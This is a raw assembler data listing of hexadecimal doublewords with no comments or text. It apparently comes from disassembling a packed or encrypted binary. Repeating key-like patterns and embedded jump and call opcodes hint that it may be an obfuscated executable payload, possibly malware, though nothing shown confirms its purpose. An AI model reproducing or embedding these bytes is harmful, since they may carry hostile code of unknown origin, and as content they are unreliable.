		dd 5D0BEF1Dh, 0B53CE607h, 32348E0Ch, 69E8B85Ch,	0ED22E0A2h
		dd 52DD53D7h, 0A2906931h, 66883211h, 4DA5B375h,	8F452086h
		dd 6611321Eh, 137C4964h, 0A2FA9FCEh, 7C3C529h, 34353E9Eh
		dd 0A409D09Ch, 66443211h, 0E126F096h, 64D1601h,	8FFDC695h
		dd 66443207h, 828B29Ah,	9068057Fh, 349B9D57h, 16815871h
		dd 0ED43A45Fh, 0EF401621h, 6249B3F4h, 0E7443215h, 662236D4h
		dd 421DB515h, 6F605249h, 0D1443215h, 86A0E245h,	5639B58Fh
		dd 3F5E8D1Ah, 62A8B374h, 0EF223215h, 87981619h,	668CF394h
		dd 0A7C73215h, 422EB511h, 0D9775249h, 8FE9B24Dh, 99BBE16Dh
		dd 3F9FB1ECh, 6716DB1Ah, 63AEB61Ah, 69B13215h, 66223193h
		dd 7E95215h, 4C99AF3Eh,	0EDB835FCh, 8F042F98h, 0DD775212h
		dd 0E7875263h, 66443213h, 61AADC94h, 0E77053A8h, 0EB8413FCh
		dd 0ADADB31Ah, 67191E44h, 0ADD0B3CCh, 0E7B31E44h, 0EB4813D4h
		dd 662BDB1Ah, 0D29D3215h, 622625A8h, 0E79D7F4Eh, 0C27393D4h
		dd 8AF8B304h, 4FA87B42h, 8A85B3ECh, 0E7027B42h,	0C24093FCh
		dd 61083D04h, 69443215h, 66223398h, 8A92CA15h, 428CBB11h
		dd 664437ADh, 3EE31B15h, 8FA661EDh, 7A03CA9Dh, 6280B131h
		dd 969D3D75h, 6602DB74h, 3C243215h, 0F0891D06h,	42339E8Eh
		dd 6CE9EADEh, 0EE95EFE3h, 0EA4B9878h, 6622321Fh, 669D3D75h
		dd 6883215h, 0E24B5374h, 66223214h, 57D903ECh, 64003D4h
		dd 92B973h, 0A23EEC94h,	0EA1E9974h, 6688321Dh, 6646B61Ah
		dd 7423215h, 6615DE94h,	4A013215h, 0E7A1BB31h, 662236D0h
		dd 62D4B115h, 3AAC1E92h, 664434FCh, 8F10D015h, 62994BBh
		dd 668838FCh, 0AB277D15h, 2075DF17h, 0E75D7139h, 398A8CBh
		dd 7ACF5352h, 83AB6731h, 6615F794h, 0A3093215h,	66443211h
		dd 3A061E92h, 660AB31Ah, 0E7E83215h, 2F6106F3h,	662FDA3Fh
		dd 47473215h, 7AE71FF1h, 0A146DD29h, 39231BFCh,	421DB974h
		dd 0E76EBB43h, 664436D3h, 62E4B115h, 3A350692h,	0BC095475h
		dd 9F24BBE5h, 6622BF1Ah, 7703215h, 38AC06EAh, 6640F694h
		dd 68CB3215h, 0E0113215h, 9C2EA2F0h, 0C32DFF3Dh, 944CF074h
		dd 0EF43CAE6h, 624AB3F7h, 36443215h, 662236ADh,	3ED33315h
		dd 3AAC2692h, 0B376DBE0h, 0A1DBCDEAh, 97097690h, 66883012h
		dd 9DCF5215h, 662239FCh, 0DEACF515h, 0F8ECF44Bh, 0BFAE3164h
		dd 9DA95274h, 0B1068D73h, 7BF5A74h, 52CD3215h, 6ECB6931h
		dd 0D113215h, 1F3AF6B1h, 692FA3CEh, 6622339Bh, 0D01ECB15h
		dd 6A023D1Bh, 69443215h, 6622349Fh, 66973D15h, 0E6883215h
		dd 0E54BB2ECh, 66223244h, 4FAF64E9h, 67EC9F4Bh,	0AD456CE6h
		dd 380BD994h, 7156B8h, 1622E294h, 664437FCh, 6062BE15h
		dd 3770FB3Dh, 0D29591ACh, 0E7057B43h, 0D23F90FCh, 3FDA3343h
		dd 0E648B275h, 7BC851Ah, 662287FCh, 0E11E5215h,	66883216h
		dd 0DC96851Ah, 7D6586E1h, 28A56274h, 0E698D695h, 0A2BAFBD1h
		dd 53916173h, 3D77EE15h, 6D0D33Dh, 8E93851Ah, 66223205h
		dd 8FBDA18Eh, 0A4232045h, 2D7A3975h, 1064E3A0h,	0D96CF294h
		dd 7D73E83h, 6644327Dh,	420EB315h, 16F37AFFh, 0E7AC3E3Ch
		dd 2EAE1611h, 8F7B42F7h, 66113219h, 0F64836C8h,	0B5A76D9Eh
		dd 940D2059h, 7F0B8D42h, 0B97F54EAh, 0B1B3EDE2h, 0CEE5B352h
		dd 0E7559B7Ch, 0BA8A13E2h, 3683B3CEh, 47DBBBBBh, 0EA1E6DECh
		dd 66883213h, 73FF5475h, 0A5A3537Ch, 250B4795h,	0DFD9F93Ch
		dd 255E4795h, 697BF93Ch, 66113396h, 0E303CE15h,	61AD1804h
		dd 662235FCh, 0AD7A0A15h, 1057B04h, 7DF9A79Eh, 8FDE35FCh
		dd 99EEC933h, 6689B01Ah, 0A1B13215h, 973A7690h,	66113012h
		dd 6684DB15h, 703D3215h, 0A3B7404Ch, 785284C4h,	69E86A55h
		dd 7BDC8A2h, 0EF26DE96h, 694A1621h, 6688359Ch, 39175215h
		dd 777F495h, 9A1F841Ah,	6908CB95h, 6644B196h, 8DA3CA15h
		dd 161C2A54h, 0DFD9F914h, 48191BFAh, 8FA37B5Ch,	3282262Ah
		dd 8F49EBE2h, 6FADB316h, 67B68BB0h, 69E96BDEh, 66882B92h
		dd 6650DB15h, 46C53215h, 0CA0BCECAh, 59F7EE13h,	0FF4BB96h
		dd 7523B977h, 0DF40C8C9h, 9977CDEAh, 691DF93Ch,	66223E98h
		dd 6616DB15h, 0F4623215h, 553E1289h, 6DCB52AEh,	0A7113215h
		dd 92E8F7CFh, 0BCFF1A4Dh, 0BDA26672h, 0C7F85393h, 6883215h
		dd 838D1Ah, 76AABABh, 6613DE94h, 0EFEE3215h, 99F21601h
		dd 3C44C33Dh, 66113DFCh, 21703915h, 7E33E6E4h, 0FA71E0AFh
		dd 15B1BB06h, 6688327Dh, 4268B315h, 4BC81ED5h, 0E7353E3Ch
		dd 4A481611h, 9F1D1FFFh, 9255A47h, 0E74B6895h, 0DC4C5F7h
		dd 6EAEB366h, 4770325Eh, 75F868C4h, 6F883215h, 131ED49Eh
		dd 75C40074h, 0B258A42Eh, 30C534DAh, 0A5C56AA9h, 3DFD64C8h
		dd 37EDD994h, 0ADA155EBh, 37B8F194h, 8DA355EBh,	3DCE64C8h
		dd 66883CFCh, 55F5B515h, 3EF676ADh, 0AE44BD1Dh,	9F694359h
		dd 4C55B79Eh, 0E12D35FCh, 66113214h, 0F303C7E9h, 61AD29A8h
		dd 3F9FB1ECh, 6716DB1Ah, 91D1B61Ah, 8E24CDEAh, 66223204h
		dd 49BE9CC5h, 1D396D3Ch, 817B3121h, 0A4866B05h,	66923D46h
		dd 38883215h, 699C0974h, 66227697h, 661FDB15h, 61EB3215h
		dd 6A27F238h, 0B0B39E0Eh, 0B6AADCAAh, 0E087E12Ch, 99BBDC1Fh
		dd 662FDA75h, 89D33215h, 0AA91F17Dh, 492B0417h,	0E7C6C57Ch
		dd 0D88E44D6h, 0E7E86A4Dh, 0B88405D3h, 0ECFCB363h, 7693391h
		dd 67336174h, 4F443215h, 9EDE69CBh, 6615DE94h, 52013215h
		dd 9EBC6B31h, 79918946h, 8D906019h, 8C2312Ah, 9146D1D4h
		dd 0E7E9B3CEh, 0E7798C71h
		dd 43ADDCF6h, 0EB87B353h, 4FD1673Eh, 9F3869CCh,	36A5F394h
		dd 77AD016Fh, 0D5223215h, 644D1FBEh, 0D76F6433h, 3967E06h
		dd 0AA5F50A6h, 84A55275h, 6688B71Ah, 8F253215h,	6622321Fh
		dd 60C85295h, 0FB74AAB2h, 0E525A237h, 4AAB36F9h, 66148F31h
		dd 8FA13215h, 0D416C748h, 0B1AA61FCh, 3C4ACA9Dh, 6681BC1Ah
		dd 243215h, 3C6AE394h, 0CC706A46h, 66883CFCh, 0A415E915h
		dd 0B094D8EBh, 0A7BCB693h, 6905C182h, 6644359Ah, 67AC3D15h
		dd 9F113215h, 748B5A45h, 6ACD3215h, 9F7B6A31h, 6603BD1Ah
		dd 8FE83215h, 66443210h, 77A9E017h, 669C3D9Ch, 7883215h
		dd 87ADCEBEh, 6DDCDC5h,	66113BFCh, 505E9415h, 0CE51EC0Eh
		dd 3743B055h, 661132ACh, 0C649B315h, 67519039h,	0C6CBB3E4h
		dd 0EC049039h, 63616B14h, 0DD443215h, 8097FC37h, 0E21EDA29h
		dd 66883271h, 6655DA75h, 0DC7F3215h, 40DEC6B0h,	0F7F6BB0Ch
		dd 0C2022D25h, 3EDB1B64h, 70DE595h, 7E818946h, 95C522BDh
		dd 768A2A1Ch, 7A9AEA9Ch, 624CB131h, 67FBDBE9h, 0E72D3215h
		dd 66113207h, 66883FFCh, 82255D15h, 6D6FA78h, 3C1FD518h
		dd 77617B18h, 99443215h, 0B8FAB399h, 9A355621h,	0F46CB2FCh
		dd 36D292D3h, 0E7C4BB43h, 661136D3h, 6266B115h,	3A600692h
		dd 8F062E9Ch, 66113212h, 7DE79098h, 6C7F3B4h, 77CBF19Eh
		dd 5F113215h, 5DA851E1h, 121AC4F8h, 454D880Ah, 61E7D601h
		dd 6264B374h, 0EF443215h, 52A31621h, 2245B631h,	9509694Ch
		dd 3F006691h, 6633B21Ah, 8F713215h, 6688321Fh, 1633AEC2h
		dd 98727739h, 0E7703A7Dh, 668836F9h, 4248BB15h,	662233ACh
		dd 65E03315h, 0D3E86B0Ch, 0E498C40h, 304310EAh,	6611377Dh
		dd 95896C15h, 6654DB4Bh, 582B3215h, 4925C5ACh, 0BA8DFAB1h
		dd 0E16D15B1h, 60CBF024h, 13113215h, 0EE375263h, 8EF7612Ah
		dd 0EEFCBA47h, 9A4A68E5h, 670A3DBFh, 93443215h,	5324F194h
		dd 0A5900AD7h, 2E276594h, 8DC5C93Ch, 2E8D6594h,	5317D994h
		dd 0E1870AD7h, 6644321Fh, 0D2FAB375h, 317E1702h, 34DD534Fh
		dd 664436AFh, 3CF7BB15h, 64CD93Ch, 0D06D8C73h, 664423FCh
		dd 0D14C3315h, 0EF6317FFh, 0DB568194h, 0DD78DA1Ch, 5743F8ABh
		dd 57D203CDh, 668FDBCDh, 9E703215h, 0FDA95E33h,	0E31E9916h
		dd 66883218h, 66443AFCh, 0EE7EE115h, 0FA6B2947h, 4294B99Dh
		dd 63A4BB45h, 66223211h, 66113610h, 428CB515h, 0A9C55249h
		dd 50ADD79Dh, 3570EA9Eh, 668837AEh, 0ED9A3315h,	0A2A31609h
		dd 66113211h, 6689B71Ah, 37B13215h, 600EAF7Dh, 0E7506B78h
		dd 2ECB75F4h, 9DF96713h, 67D9CDEAh, 0AE986FFCh,	6D8524Ch
		dd 0B0CF6974h, 6ACBF174h, 8E113215h, 67E54D8Fh,	45A6788h
		dd 0E04E6AFh, 661130E3h, 69AC3E9Ch, 66443A98h, 64AC3D15h
		dd 6113215h, 66326074h,	0E7443215h, 777B78FFh, 0E7E33313h
		dd 77D178D7h, 64CF5413h, 73A83D4Fh, 6113215h, 668839FDh
		dd 67C27F15h, 4727C5D5h, 0D98AA52Ch, 7FF864Fh, 0E24BF129h
		dd 66223378h, 6610B21Ah, 9F703215h, 0E24BF929h,	66223348h
		dd 66113EFCh, 0CC958515h, 0D40EF669h, 5E0A6DAh,	69D30E83h
		dd 66894A91h, 0E6245215h, 0E62D81E7h, 66113215h, 0ACB45374h
		dd 6727B61Ah, 8F423215h, 6611321Bh, 3D0BC389h, 6BEAECE7h
		dd 9B157C40h, 60F80454h, 0B883215h, 0DE482036h,	5B4453E2h
		dd 0E21E17EAh, 66883379h, 358DB375h, 0D3783C8Fh, 6CF85331h
		dd 80883215h, 0D7BC3709h, 0AE24D2ABh, 482C54D2h, 1C0D3DEAh
		dd 6443215h, 6BCB61E0h,	98113215h, 113A3025h, 19CEF823h
		dd 75E60188h, 771534Ah,	76E06446h, 380D481Ch, 90D0F494h
		dd 95988490h, 0EC7B334Bh, 0E14B6916h, 6622321Ah, 661138FCh
		dd 0E8267315h, 721D1284h, 35BB3FBFh, 0D641CEA6h, 6260F25Dh
		dd 0C668FAEBh, 0A5225D39h, 3DC9124Dh, 6684B61Ah, 0EA4B3215h
		dd 66223213h, 6611B81Ah, 0D6E83215h, 78B87DDh, 0E22D9229h
		dd 66113305h, 42BCCDECh, 6280B34Ch, 6223215h, 63378A73h
		dd 668826FCh, 972FDC15h, 6B7A8D25h, 9233ABDAh, 0C0770487h
		dd 0F0AA522Ah, 0D8745353h, 27E449FDh, 4BD6C29Ch, 27B149FDh
		dd 662234FCh, 66D83915h, 8FC9CAA0h, 664433BDh, 662DDB75h
		dd 40BD3215h, 6B825B3Dh, 68947E6Ch, 548881B8h, 6614DB34h
		dd 0C1963215h, 70A7BF5h, 8FEB03EDh, 66113218h, 6CEBA4D0h
		dd 0C1E06EDAh, 67F837C3h, 5751A3D9h, 574003D4h,	6643DBD4h
		dd 0D2ED3215h, 5B3AAB23h, 6614DBF7h, 0E14B3215h, 66223214h
		dd 27CF8BEDh, 970933A5h, 480F793Ah, 0A69D394h, 0DE417363h
		dd 71A34498h, 0E71CF324h, 3F5CFBFCh, 69475203h,	7D0E5A2h
		dd 66445BFCh, 67AC3D15h, 9F113215h, 62F05A45h, 631C0646h
		dd 489468DAh, 6315DAD4h, 9F475807h, 62CFF39Ch, 62E6B331h
		dd 8F113215h, 6688321Fh, 5126C7h, 269683DBh, 49F8078Bh
		dd 6883215h, 0AFB343h, 3E0884EEh, 7C0B973h, 0D0C8946h
		dd 0A5C70B34h, 91F1C5EAh, 0E5E2B3CEh, 0EFB1137Eh, 0E84B69CCh
		dd 66223213h, 0D4705275h, 0C27B534Fh, 66443DFCh, 0E1B4F315h
		dd 0E2E7D141h, 0F03F0888h, 19AC8078h, 0DBAFB9E9h, 616DB0Eh
		dd 64E851Ah, 66443CFCh,	0A3AF5515h, 0C8EE5C0Ch,	606F6749h
		dd 6973D200h, 743E5AAh,	0E31EFB90h, 6688320Bh, 664EB61Ah
		dd 63CB3215h, 0BF113215h, 9A109513h, 6645BA1Ah,	0EFD73215h
		dd 8F0A8FA0h, 5277C712h, 0A2C56B31h, 66223211h,	6609B71Ah
		dd 0E83215h, 8F1FDBAAh,	66223218h, 53F74EB9h, 7F1493A9h
		dd 0D68EA6E2h, 0EA2D5335h, 66113214h, 93163EDh,	0E7470D31h
		dd 0C811A5F4h, 0BD0B306h, 918B606Eh, 65A5F3C4h,	0A7A3E3E2h
		dd 0ADEA164Fh, 8FD16A44h, 6644321Dh, 5F5E27DFh,	3F0B4131h
		dd 0DCDACBD6h, 66443215h, 0ED44C014h, 4205B917h, 668CF694h
		dd 5ABC3215h, 8EA63DD6h, 9F113214h, 0EE4DBA44h,	4248B9FEh
		dd 6626F694h, 93713215h, 34E913A2h, 9564C2A3h, 0E506269Eh
		dd 0E41E36D1h, 66883212h, 6645BB1Ah, 0E6DE3215h, 0E21E42EEh
		dd 66883648h, 6657DB75h, 319B3215h, 14DCE167h, 333751F4h
		dd 2916662Dh, 5890C193h, 39A8D39h, 5AE90827h, 0EAC03DFCh
		dd 69223214h, 66113396h, 8DB4C715h, 6739B61Ah, 0E82D3215h
		dd 6611321Dh, 668ABC1Ah, 7243215h, 0E22DF029h, 66113372h
		dd 66883FFCh, 0B6941C15h, 0CF572017h, 2C76C243h, 0ADB484E6h
		dd 6709B61Ah, 8FD73215h, 66113201h, 0BE5E3201h,	56DA6708h
		dd 383AA9F7h, 9302DAB3h, 0B10728E4h, 43BB0F73h,	670BB61Ah
		dd 713215h, 5AE9F99Eh, 7AC03DDFh, 8F223214h, 66113204h
		dd 0A14DE918h, 9B4DEAF7h, 376D61E6h, 0DF9787FBh, 696B0E7Ah
		dd 66479A91h, 0DF445215h, 70E23Ch, 69771C28h, 66448590h
		dd 77CB5215h, 72113215h, 0CEA7BA5Ah, 0E117D96Fh, 7680869Eh
		dd 97E7845Fh, 6E9FD9Eh,	664426FCh, 0C2A3D215h, 4DA31C3Fh
		dd 0C463B989h, 919A1F38h, 5069B56h, 6603DA05h, 6F663215h
		dd 7684B62Eh, 0A22A35CDh, 761E86C3h, 0C0409DE4h, 71DEB9Eh
		dd 66208B44h, 97103215h, 66888847h, 0AC453215h,	3F78309Fh
		dd 66113EFCh, 0D04BB15h, 0D85A4B5Ah, 6CAB5F22h,	62FDB338h
		dd 0EF883215h, 5FF51619h, 0AFA2E3E3h, 63F0F2F7h, 0B77EF3EBh
		dd 460ADB95h, 8F426BDDh, 66113210h, 0F8A39625h,	0E7BD529Bh
		dd 0ED150ED2h, 5A705352h
		dd 260C3DB5h, 9A443215h, 0DAE1B375h, 7445302h, 2FD8D42h
		dd 0B1B367DAh, 2CCDD594h, 0A1903B0Ch, 9167C763h, 4270B342h
		dd 60B85A57h, 0E53074Dh, 69D7348Fh, 66443394h, 0E02DCA15h
		dd 66113214h, 66DBDBEDh, 0EFB83215h, 8F398FA0h,	63F8CE12h
		dd 55883215h, 44CA532Ch, 0B2C0AF98h, 0EE1E35FAh, 6688321Eh
		dd 0C8A3B375h, 7F5DC9h,	9970F09Eh, 0AE30CAC6h, 4B228312h
		dd 17335D0Bh, 1734E2E2h, 0A7A90E46h, 0DB1135F5h, 76039A6Ah
		dd 64CDA3Ch, 0DF5BB973h, 136924DAh, 35DAF174h, 0A590D19Ch
		dd 66883211h, 0E140D996h, 0EF7E1609h, 69E41611h, 6688239Eh
		dd 6DCE3D15h, 8F223215h, 66113213h, 0DD6F8252h,	10BBF46Eh
		dd 420EB305h, 53203640h, 0E7AC369Eh, 664436D1h,	62773715h
		dd 0EFE40724h, 8FA1C390h, 6641DB12h, 0B98C3215h, 8F697A6Fh
		dd 6688321Fh, 0DA6663AEh, 0DE7B1E71h, 52EEB62Fh, 0A2096A31h
		dd 66443211h, 6636DA75h, 0A7CF3215h, 0C5FB69B7h, 815BE5FBh
		dd 5799A725h, 8B610CBBh, 0E3877198h, 66443215h,	97A9544Ah
		dd 7AA96274h, 67883215h, 4240B9D3h, 6626F694h, 0E91E3215h
		dd 66883205h, 664439FCh, 33299F15h, 2BFFCB69h, 282B213Bh
		dd 52018F98h, 0EA2D35FCh, 6611321Bh, 66083D75h,	69443215h
		dd 66223291h, 6BC5315h,	66883EFCh, 249A8C15h, 7055A012h
		dd 3FC960CAh, 9F035489h, 5DC41F74h, 0FC0F1B31h,	65514B39h
		dd 63AC1651h, 263D1E8Fh, 4219B210h, 67923D3Ch, 93883215h
		dd 6652B21Ah, 0E02D3215h, 66113205h, 668839FCh,	0F3CAD815h
		dd 47611DFCh, 7878C69Ah, 67003DBEh, 9F443215h, 0DF9FBFECh
		dd 9A16DB18h, 70093DB8h, 8F443215h, 66223204h, 4D98953h
		dd 7629DA21h, 10930DA6h, 9DDF7307h, 54B21FB3h, 0ED8D7F5Dh
		dd 650E9473h, 4B061651h, 2CB7549Eh, 2EBA9110h, 68FE5258h
		dd 72D50E5h, 662C557Dh,	428CBB15h, 664FBA1Ah, 60CB3215h
		dd 3C113215h, 163A7773h, 0E14B9904h, 66223214h,	7BACBFEDh
		dd 698FDB17h, 66442792h, 69AE3D15h, 8F113215h, 6688321Fh
		dd 57F9CB1h, 8A7C2C8Ch,	6BCA3F8h, 668839FDh, 6575C415h
		dd 0E76FA13Fh, 1ABA669Ah, 4B96DC94h, 0D51C3362h, 252753AFh
		dd 65190846h, 30A01651h, 5C1771ABh, 38D21B1Dh, 661121FCh
		dd 0C17FF15h, 749C279Bh, 0FF1E5476h, 2A362314h,	1C878CB3h
		dd 6650DBBEh, 144E3215h, 965E5E3Fh, 90B1BC93h, 1967FA17h
		dd 60817969h, 0E6714ECCh, 0E876DEh, 0E7CBD294h,	74BF995h
		dd 4225CD74h, 624CB34Bh, 93443215h, 0EA2D52D6h,	66113217h
		dd 6161B8A4h, 3D443215h, 0E71AAAA6h, 697038D9h,	66883E93h
		dd 60C43D15h, 69223215h, 66113290h, 64DA5A15h, 52CD3215h
		dd 0FBAFCA31h, 61FEE60Fh, 0B9035475h, 6642B81Ah, 0EE2D3215h
		dd 66113215h, 695BCD74h, 66443B91h, 0E7445215h,	6C7E5F5h
		dd 8F615374h, 0F9FFCDE9h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah
		dd 0B0C0D5F2h, 96A5B51Ch, 152AA8EDh, 2429458Ah,	1957DFA0h
		dd 5E917926h, 152A1E2Ch, 5E89798Ah, 152A162Ch, 5ECA798Ah
		dd 152A492Ch, 5E13798Ah, 152A382Ch, 5EF2798Ah, 152A5C2Ah
		dd 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah, 60D554A8h, 59D7BA86h
		dd 84F0CE25h, 0DCF1427Ah, 0E5B8E532h, 0D871BA8Dh, 42C3A8EDh
		dd 0AEA2458Ah, 60D558DDh, 0BB38C882h, 462DA439h, 0C313DF07h
		dd 0C6D55358h, 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh
		dd 5652D47Ch, 0A4B0D9FBh, 0AEA5B518h, 0E96FDD7Bh, 51A25863h
		dd 195FABA8h, 0DCAA3075h, 0E5B85632h, 0CB2F168Dh, 12DAC619h
		dd 142B9675h, 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h
		dd 0E9000030h, 0Fh, 2F0D5D1Ah, 2 dup(0)
		dd 0E9000000h, 549h, 0A54828C3h, 1895E70Bh, 4DE09ABCh
		dd 0BC31B3E3h, 0F67FFD10h, 3CD1C166h, 0A1BB538h, 0A649EB8Ah
		dd 5FFD5FD6h, 0B3EF901Dh, 6C2DBEFEh, 46245628h,	44D6A04Ah
		dd 0C4B7F7AAh, 4B59305Ch, 0F207B3EFh, 979E828Dh, 740AF908h
		dd 0C3BD5FF9h, 0BBC55763h, 0B1CB6F6Bh, 2DCC606Dh, 8E2751FBh
		dd 0C2730D22h, 2DBFC156h, 71AD9C90h, 54E179F3h,	4BCE2AB9h
		dd 0CF63CFDDh, 32129283h, 0D612BBDDh, 21AD3F41h, 3F826E0Eh
		dd 21FD7F9Dh, 5C206540h, 29D02430h, 318518E8h, 0A55684h
		dd 4A6C0000h, 35B0E0A0h, 0F771E4A4h, 0B94FDD58h, 0E000962Fh
		dd 0C175B315h, 4A4C3569h, 2F305C01h, 4D0517BFh,	760CD054h
		dd 0AB811CE0h, 0BCAAAEADh, 0F21EDA68h, 66368E4Bh, 1B08431h
		dd 12000000h, 8D4A64Ah,	72D2A84Ch, 0D9C84E46h, 305CC4D9h
		dd 0E9830DC2h, 8BA4F305h, 20BFBFCBh, 715675B1h,	0F51EC57Eh
		dd 0D6EE8E7Eh, 20A894BBh, 2D530AA8h, 52BA2074h,	0C19154D7h
		dd 32BE8BC8h, 685675B1h, 35405030h, 63365A41h, 6B8911BEh
		dd 5E9833Ah, 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh,	8A317417h
		dd 3FD525FAh, 96ADFDF5h, 22908576h, 7ACFB734h, 29B723ACh
		dd 7A1A20ADh, 277975FDh, 0F79E987Ch, 0FFA0720Dh, 0E983FE8Eh
		dd 8BA4F305h, 48BD8DDBh, 8D07F118h, 0F1A36A8Dh,	6644B807h
		dd 0CF2B3215h, 3102E9C1h, 83C8D007h, 754904C7h,	810FF5F6h
		dd 12h,	0DE9h, 0DFFEB100h, 3FE8728Ah, 583492B2h, 0F609268h
		dd 1783h, 11E800h, 0A4820000h, 981707BDh, 169DC88Ch, 5A27BF65h
		dd 5979947Ch, 0D427C0BEh, 57506142h, 0B665A3BFh, 247C2970h
		dd 5585F04h, 70B665A3h,	14E9h, 0ACDC0D00h, 34C35560h, 2FE4FB4Bh
		dd 1D438B54h, 0B3AA3A1Eh, 0A5BD8339h, 7E918h, 0BD830975h
		dd 7E91A45h, 50197400h,	0B8C08B53h, 411h, 20F58589h, 9D8D07E9h
		dd 7EBD835h, 585BD3FFh,	1A45BD83h, 740007E9h, 0B8535017h
		dd 411h, 20F58589h, 9D8D07E9h, 7EBD4D6h, 585BD3FFh, 0D9BF0F60h
		dd 7E8h, 0A19B5100h, 0F95CF241h, 61596160h, 13E960h, 32CA0000h
		dd 0A38BF401h, 65117C6h, 0C805ACEFh, 7FB9769Ch,	0DE932h
		dd 96480000h, 495B5068h, 631A1D67h, 61F697EEh, 666968h
		dd 24048900h, 8A242C81h, 585C9E6Fh, 9E6F8A05h, 0D860F5Ch
		dd 0E9000000h, 8, 576EE177h, 8328F0D1h,	7E8F8h,	53C0000h
		dd 1873E2D8h, 0CA8166C6h, 0F5E785Dh, 0C681F8B7h, 6419h
		dd 98EEDF81h, 0DCBB302Ch, 8B000018h, 8136FFCAh,	9FA89AF7h
		dd 8B66584Dh, 60C081D3h, 813F636Ah, 1B93CAF0h, 0DA816674h
		dd 0F081CADCh, 65EDE3B4h, 14E96052h, 26000000h,	0D883D89h
		dd 15C9267Fh, 0DC6535F9h, 14D11384h, 0BBE88862h, 6E5BF13h
		dd 53505961h, 0B60B966h, 0FC068F59h, 3ECEE81h, 8B664147h
		dd 0E8C681C8h, 0E9414703h, 5, 77219BD1h, 850F4B5Fh, 0FFFFFF91h
		dd 0FE8h, 94145300h, 9E70B971h,	0EFAAAE25h, 66995B00h
		dd 0C03EC781h, 8D5A5A79h, 0F1A85B8Dh, 55006A07h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 8B11EB70h, 0E9266DBDh, 0D8D8907h, 8B07E932h,	0E902E9B5h
		dd 25958B07h, 0C707E90Bh, 0E922E585h, 6C1007h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 0B185C7BFh, 7E922h, 80000000h, 0B5FF08D2h, 7E92045h
		dd 2C8DCB81h, 95FF2DE6h, 7E92285h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 6FC35646h, 0D189226Ch, 66F224B2h
		dd 6AF88Bh, 0C3195FFh, 0C08B07E9h, 0C05A7DEBh, 0DE9CB096h
		dd 7D86B150h, 3149CD88h, 1B335ACCh, 5AE75925h, 741FCBCh
		dd 3D27F86Bh, 531B7186h, 0B6DD39B7h, 2E1F48A7h,	0E941868Dh
		dd 2512D2D3h, 3A380BEAh, 77B0B704h, 0D94750A4h,	0EF7C0383h
		dd 4F3C7CC2h, 258C6340h, 3679F764h, 6608E914h, 3F512E1Bh
		dd 0C3393525h, 0EC10F4B8h, 75F39Fh, 0F24038A1h,	3AA24645h
		dd 0B6645E26h, 0D0B2E598h, 0CC8551B4h, 3CC484Eh, 0E94C5AD7h
		dd 20h,	7074D8F1h, 7 dup(0)
		dd 4AAE9h, 0A9F06800h, 0B3E907F1h, 68FFF7D2h, 7F1AA64h
		dd 0F7D2A9E9h, 0ABC968FFh, 9FE907F1h, 6FFFF7D2h, 9701ACCCh
		dd 0D874F983h, 0FA94436h, 0BC189517h, 0DA52E399h, 9CD87D5Dh
		dd 0EE6EA711h, 3A42D547h, 81F319BBh, 621F8BECh,	286B1C22h
		dd 4AEAD8F2h, 4D09D5A7h, 0D20CDAFh, 7BE375E2h, 0C22AA2Ah
		dd 96208672h, 0C109DCFFh, 816919EBh, 0B4C179C0h, 0F18B1937h
		dd 7FBBC155h, 0C2664223h, 0F61A2872h, 0E33A8A57h, 0D4B48C1Ah
		dd 0E000002h, 3A35B93Fh, 73661BADh, 4337B59Fh, 390CA561h
		dd 3054D38h, 7BCBB55Bh,	41EC8169h, 0EA4D44D6h, 0D2326711h
		dd 13494938h, 40312325h, 23251340h, 0E0C2D2D0h,	0E63E6408h
		dd 5970013h, 7DD7F48Ch,	54E6BC2Ah, 0C9156788h, 0ED697FBBh
		dd 14802D4Fh, 7EFD7406h, 5E26BF6Bh, 2E6D186h, 91BA0000h
		dd 4EE24EE7h, 117812Ch,	4A5AF67Fh, 668B25C8h, 28019F16h
		dd 5ED7A548h, 8C21A3F2h, 0C06D0F20h, 39B4C654h,	57574A54h
		dd 0B9286B1Ch, 0A0B3DD83h, 2008A537h, 0DCC73505h, 1EACCC63h
		dd 923AD4D2h, 9C26FE78h, 750FB554h, 0A7FD3849h,	1A1E7815h
		dd 267E2C07h, 0DD70DCCAh, 97BA169Fh, 4B6819E5h,	2F286AA9h
		dd 7DC6730Dh, 53346D9Ah, 2722C83h, 0D2E0000h, 0C256C273h
		dd 759B35B8h, 0D6CE6A0Bh, 0DA7FD954h, 9C9D13A2h, 0D263193Ch
		dd 0AD2F66h, 74F98394h,	0AD4032D8h, 0E3A3DEC8h,	2D286B1Ah
		dd 0A0B3A91Fh, 35442030h, 61F7B225h, 0CFF4DAD7h, 8E183849h
		dd 6ACF9313h, 6E237D28h, 286AD02Eh, 982EBCE6h, 0D001DD44h
		dd 5BE7286Ah, 0D19F61B2h, 9CDF8C22h, 0CF000001h, 0BA8AF207h
		dd 4AC2C028h, 700ED6A0h, 0C4EBABE6h, 7F25305Ch,	8BF507B3h
		dd 33A4B7EAh, 0AB89E899h, 6BF337B5h, 129283C7h,	0DAC8B47Ch
		dd 0AFE27C0Ah, 2873ABEFh, 0D6B78321h, 2873ABFAh, 1EBB62EEh
		dd 8C19F5A6h, 80F18Bh, 102873B4h, 5BE993A4h, 54429Fh, 0B3600000h
		dd 0F3EE30A0h, 0B2D6E067h, 81F08A1Ch, 305C4101h, 0FB4B35DBh
		dd 33FFA5E9h, 26FDFCB5h, 0D56F37B5h, 7325DCDCh,	826E3428h
		dd 0F004C0DEh, 7928BA8Ah, 28732639h, 0EB3BC9DBh, 73269E3Ah
		dd 18C44228h, 26BC80F2h, 0DA07A6CAh, 8C1A7EEAh,	9C04h
		dd 0A04A5E00h, 0AF420ED6h, 83933BCDh, 0D9F52901h, 0D1FD4133h
		dd 0CDB4393Bh, 305CBF8Fh, 0B83547D5h, 4BDD4AE5h, 0B0EBBD56h
		dd 0D5710B37h, 0D9EB3B41h, 70EAE8A8h, 0BE7A2828h, 9E46D0D2h
